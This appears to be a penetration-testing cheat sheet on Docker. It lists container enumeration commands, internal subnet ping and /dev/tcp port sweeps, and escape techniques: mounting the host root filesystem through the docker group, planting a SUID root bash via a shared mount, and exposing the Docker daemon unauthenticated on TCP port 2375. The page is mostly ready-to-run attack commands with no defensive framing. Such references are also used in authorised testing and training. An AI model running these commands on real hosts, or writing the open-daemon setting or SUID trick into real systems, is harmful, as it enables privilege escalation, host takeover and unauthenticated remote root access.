Docker
Enumeration
Confirm the presence of
.dockerenv
cat /proc/self/status
find / -type f \( -perm -4000 -o -perm -2000 \)
ps aux
cat /proc/self/ns/
When the host's user information does not exist inside the container’s /etc/passwd
file, file permissions will show numeric IDs instead of human-readable names.
If the socket
is mounted you may be able to use docker-cli
:
mount | grep docker.sock
ls -l /var/run/docker.sock
Understand the Network
Docker containers typically run in a private virtual network created by Docker, and the default network uses a subnet in the range 172.16.0.0/12
ip addr
cat /proc/net/fib_trie
for i in {1..254}; do (ping -c 1 172.19.0.${i} | grep "bytes from" | grep -v "Unreachable" &); done;
for port in {1..65535}; do echo > /dev/tcp/172.19.0.1/$port && echo "$port open"; done 2>/dev/null
for host in 1 2 3 4; do for port in 21 22 25 80 443 8080; do (echo "172.19.0.$host:$port" && openssl s_client -connect 172.19.0.$host:$port 2>/dev/null | grep CONNECTED) & done; done; wait
Check for Mounted File Systems
cat /proc/mounts
mount | grep <directory>
Look for vulnerabilities and misconfiguration
cat /etc/docker/daemon.json
docker-cli
docker ps
Check for containers running with elevated privileges (
--privileged
,--cap-add
).Look for containers that share host namespaces or file systems.
docker images
Look for containers running as root or with --privileged
mode:
docker inspect
Escape the container
Tools like nsenter
or docker-exploit
can be used to attempt escaping the container.
If the user is in the docker
group, attempt to run the following command to mount the host filesystem and gain access to the host:
docker run -v /:/mnt -it bash bash
File Ownership Manipulation via Shared Mounts
Check permissions and ownership when you create a file from host and container:
touch from_host
touch from_container
If the container is miss configured and can creates files as a
root
, and you can access the files created by the host on the container:From the host
, copybash
in to the mounted directory.From the container
, change the ownership and permissions ofbash
toroot
.Execute
bash
asroot
.
cp /bin/bash .
chown root:root bash; chmod 4777 bash
./bash -p
Configure Docker
to listen on a TCP
port
Open the Docker service file, typically at
/lib/systemd/system/docker.service
or/etc/systemd/system/docker.service
.Change
ExecStart
to bind aTCP
address:
ExecStart=/usr/bin/dockerd --host=tcp://0.0.0.0:2375
Reload the daemon and restart
Docker
if needed:
systemctl daemon-reload
systemctl restart docker
Connect to it using
docker-cli
:
export DOCKER_HOST=tcp://<host_ip>:2375
docker ps
Last updated